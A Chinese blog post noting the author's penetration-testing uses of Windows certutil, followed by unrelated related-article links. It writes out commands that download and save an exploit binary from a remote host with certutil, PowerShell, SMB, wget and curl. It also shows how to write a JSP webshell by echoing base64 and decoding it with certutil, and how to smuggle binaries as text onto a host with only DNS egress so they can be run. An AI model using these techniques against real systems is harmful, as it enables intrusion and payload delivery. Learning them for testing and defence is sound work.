【安全记录】certutil实战使用总结
前言
在先知看到一篇关于certutil命令的文章(关于certutil的探究),讲得很详细、很全面。特此记录下本人在渗透时使用certutil的一些方法。
在cmd下使用certutil下载远程文件
命令:
certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe
各参数介绍:
-urlcache显示或删除URL缓存条目;无值的命令行选项。-split保存到文件;无值的命令行选项。存在该选项的命令,就会将文件下载到当前路径,如果没有该选项,就下载到默认路径(本地尝试后,下载的默认路径为C:\Users\用户名)。-f有值的命令行选项。后面跟要下载的文件 url。
附各条件下的命令行下载文件命令:
PowerShell - IWR:
powershell.exe -Command "Invoke-WebRequest -Uri http://192.168.1.1:1234/ms10-051.exe -OutFile exploit.exe"
PowerShell - IEX:
powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:1234/ms10-051.exe', exploit.exe)"
CMD - Certutil:
certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe
CMD - SMB:
copy \\192.168.1.1\files\ms10-051.exe exploit.exe
Linux - wget:
wget http://192.168.1.1:1234/ms10-051.exe -O exploit.exe
Linux - curl:
curl http://192.168.1.1:1234/ms10-051.exe -o exploit.exe
通过certutil以base64编码方式写入webshell文件
场景:命令执行情况下,写入webshell的文本文件。
webshell内容中含有较多特殊字符,如果直接echo xxx > shell.jsp,其中的特殊字符会影响该命令的执行,而base64编码后的文本可以直接写入文本,无特殊字符影响。
- 文本内容:
<%@page import="java.util.*, - base64编码后为:
PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA== - 写入文件:
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA== > C:\tmp\shell.txt - 解码成webshell文件:
certutil -f -decode "C:\tmp\shell.txt" "C:\tmp\shell.jsp"
通过certutil对二进制文件进行base64编码
certutil可以将二进制文件(exe文件等)编码成txt文件
certutil -encode 1615808966890.exe 1615808966890.txt

txt文件内容如下,纯文本文件:

将txt文件解码为二进制文件:
certutil -decode 1615808966890.txt 66666.exe

那这适用于什么场景?
假如存在一个命令执行的条件,写入webshell文件存在问题,目标只有dns出网而无法下载远程文件。那么此时我们就可以将base64编码的文本文件写入目标,再解码成二进制文件执行上线。
适用echo写文件时,会在每行末尾追加一个空格,但是我之前的一次经历,发现文件可以正常decode。
cmd /c echo a >> D:\2.txt
cmd /c echo ab >> D:\2.txt
cmd /c echo abc >> D:\2.txt

这篇文章讲解使用powershell的方式追加写入文件,也是一种好的方法。
powershell -c "'a' | Out-File D:\1.txt -Append"
powershell -c "'ab' | Out-File D:\1.txt -Append"
powershell -c "'abc' | Out-File D:\1.txt -Append"
将完整的txt文件一行一行写入文件,可以写个脚本,或者使用burp。
通过certutil计算文件hash
certutil -hashfile mimikatz.exe MD5 //检验MD5
certutil -hashfile mimikatz.exe SHA1 //检验SHA1
certutil -hashfile mimikatz.exe SHA256 //检验SHA256
certutil配合powershell内存加载
没有尝试过,这里mark下这种姿势。总体就是通过certutil解码文件进行powershell上线。
来源为第一篇参考文章的内容。
参考链接
【安全记录】certutil实战使用总结的更多相关文章
- XMPP学习记录之实战篇
在学习iOS以来一直想要研究即时聊天方面的技术,因工作原因此计划一直搁浅,近日偷得时闲开始着手与XMPP的学习.在学习之前我一直认为XMPP对我来说是一个很有难度的挑战,在了解了协议的具体形式后,才发 ...
- 实战记录之SQL server报错手工注入
前言 最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是.在这里记录一下实战过程,并详细讲解一下用到的知识点. SQL server报错注 ...
- 综合实战--文件上传系统【JDBC&IO&Socket】
本文纯属记录第一次实战遇到的坑和知识,如果后边有时间再做整理. 1,先写了个操作数据库的工具类SqlTool,照着JDBC资料打完之后,测试的时候出错了,java.lang.ClassNotFound ...
- django 实战 - eLeave Form
需求: 实现请假单的电子审批 1. 支持国际化 2. 支持模型级别的访问记录 here we go: 这里会写一系列的文章,来记录我实战的过程,由于接触django没多久,难免有疏漏之处,望拍砖不要太 ...
- MyBatis初级实战之一:Spring Boot集成
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
- SpringCloudAlibaba分布式事务解决方案Seata实战与源码分析-中
事务模式 概述 在当前的技术发展阶段,不存一个分布式事务处理机制可以完美满足所有场景的需求.一致性.可靠性.易用性.性能等诸多方面的系统设计约束,需要用不同的事务处理机制去满足. 目前使用的流行度情况 ...
- postgresql C/C++ API 接口
1,postgresql学习uri推荐 http://www.php100.com/manual/PostgreSQL8/ http://www.php100.com/manual/PostgreSQ ...
- vue.js 组件之间传递数据
前言 组件是 vue.js 最强大的功能之一,而组件实例的作用域是相互独立的,这就意味着不同组件之间的数据无法相互引用.如何传递数据也成了组件的重要知识点之一. 组件 组件与组件之间,还存在着不同的关 ...
- 整理总结 python 中时间日期类数据处理与类型转换(含 pandas)
我自学 python 编程并付诸实战,迄今三个月. pandas可能是我最高频使用的库,基于它的易学.实用,我也非常建议朋友们去尝试它.--尤其当你本身不是程序员,但多少跟表格或数据打点交道时,pan ...
- Hbase面试题
hbase的特点 )hbase适合存储海量数据,是一个分布式的,基于列式存储的数据库,基于hadoop的hdfs存储,zookeeper进行管理. )hbase 适合存储半结构化或非结构化的数据,对于 ...
随机推荐
- 车牌识别服务-JAVA+ONNX版本,支持全类型的车牌
1.车牌识别简介 车牌识别分为车牌检测与识别,检测模型一般需要检查车牌的位置识别模型一般为识别车牌号及车牌的颜色类型等,目前有较多的深度学习模型能支持,这里就不详细说了. 自动识别车辆车牌信息,应用于 ...
- Springboot整合AOP和注解,实现丰富的切面功能
简介 我们在文章<Spring AOP与AspectJ的对比及应用>介绍了AOP的使用,这篇文章讲解一下AOP与注解的整合,通过注解来使用AOP,会非常方便.为了简便,我们还是来实现一个计 ...
- C# 处理实体类赋值(获取嵌套类型,支持list 自定义类型)
public static T AESEncrypt<T>(T obj) where T : class { if (obj == null) { return obj; } var pr ...
- git02 IDEA使用git
1 定位 Git 程序 2 初始化本地库 选择要创建 Git 本地仓库的工程. 3 添加项目到暂存区 右键点击项目选择 Git -> Add 将项目添加到暂存区 4 提交到本地库 5 切换版本 ...
- redis-04配置文件
1.daemonize no # By default Redis does not run as a daemon. Use 'yes' if youneed it.# Note that Redi ...
- Jest + React 单元测试最佳实践
我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品.我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值. 前言 单元测试是一种用于测试"单元"的软件测试方 ...
- Docker安装SqlServer、Mysql、MariaDB
一.Docker 安装SqlServer 说明 1. 拉取镜像 docker pull mcr.microsoft.com/mssql/server:2019-latest 2.运行 docker r ...
- Three.js 进阶之旅:物理效果-碰撞和声音 💥
摘要 本文内容主要汇总如何在 Three.js 创建的 3D 世界中添加物理效果,使其更加真实.所谓物理效果指的是对象会有重力,它们可以相互碰撞,施加力之后可以移动,而且通过铰链和滑块还可以在移动过程 ...
- .NET Core Redis的简单使用
1.Redis简介 Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库. 2.Redis主要特点 Redis支持数据的持久化 Redis支持多种数据结构 Redi ...
- 解决VS2019 DevExpress工具不显示问题
一.序言 环境:NetFramework4.5,vs2019社区板 ,DevExpress 14.2.3 项目类型:winfrom 二.解决 找到DevExpress安装路径下的Bin\Framewo ...